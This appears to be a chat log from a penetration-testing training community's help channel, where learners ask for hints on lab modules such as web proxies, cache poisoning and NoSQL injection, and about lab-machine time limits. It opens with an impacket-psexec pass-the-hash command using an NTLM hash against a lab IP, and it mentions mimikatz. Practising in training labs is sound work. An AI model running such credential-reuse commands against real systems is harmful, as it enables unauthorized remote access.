impacket-psexec Administrator@10.129.176.31 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
#

so is that the wrong one?

#

wait hold on

cloud urchin
#

you were asking about mimikatz earlier.. the mimikatz command you're running may need an additional argument, which is provided in the section you're on

quasi wave
#

ok

cloud urchin
#

take 2 seconds to review it..

novel parrot
#

Web attack modules on "bypassing security filter"

#

idk if my internet is geeking cuz i did the thing im supposed to do and no results appear

cerulean hinge
#

Hi, may I have some help on the skill assesment for Web Proxies please ? I can't even reach the website (Failed to connect to ip:port). Is that normal ? Am I supposed to do something before being able to access the different directories to answer the questions ?

cerulean hinge
#

Yes I have the same failed connection error with burp or with zap

gray yacht
#

https is most likely your problem

cerulean hinge
#

No even with http I get the same error

gray yacht
cerulean hinge
#

same issue, unable to connect

gray yacht
cerulean hinge
#

yes

#

From my vm, outside of my vm, with burp or zap or without both, using chrome or firefox 😦

gray yacht
cerulean hinge
#

oh I though it would not reset the target

#

I will try that thanks

gray yacht
gray yacht
cerulean hinge
#

Yes it works now thanks

viral slate
#

ABUSING HTTP MISCONFIGURATIONS : Advanced Cache Poisoning Techniques

Hey guys!
Currently working on fatget.wcp.htb, but unfortunately couldn’t find any solution at the moment.
Can I have a hint please?

quiet heart
west canopy
fresh quail
#

does the time limit for pwnbox reset after a day or month?

ocean night
#

Is this the Introduction to NoSQL you're on @craggy urchin ?

craggy urchin
ocean night
#

Oh ok

ocean night
#

Do you have a link to the module / section you're having an issue with @craggy urchin ?

west canopy
#

for Academy, you get unlimited Pwnbox as soon as you purchase any amount of cubes, or any subscription

#

but I think for the main platform / starting point, the Pwnbox time limit is the same i.e. once your Pwnbox runs out of time, it will become available to you again after 24 hours

ocean night
west canopy
#

actually I am incorrect .

craggy urchin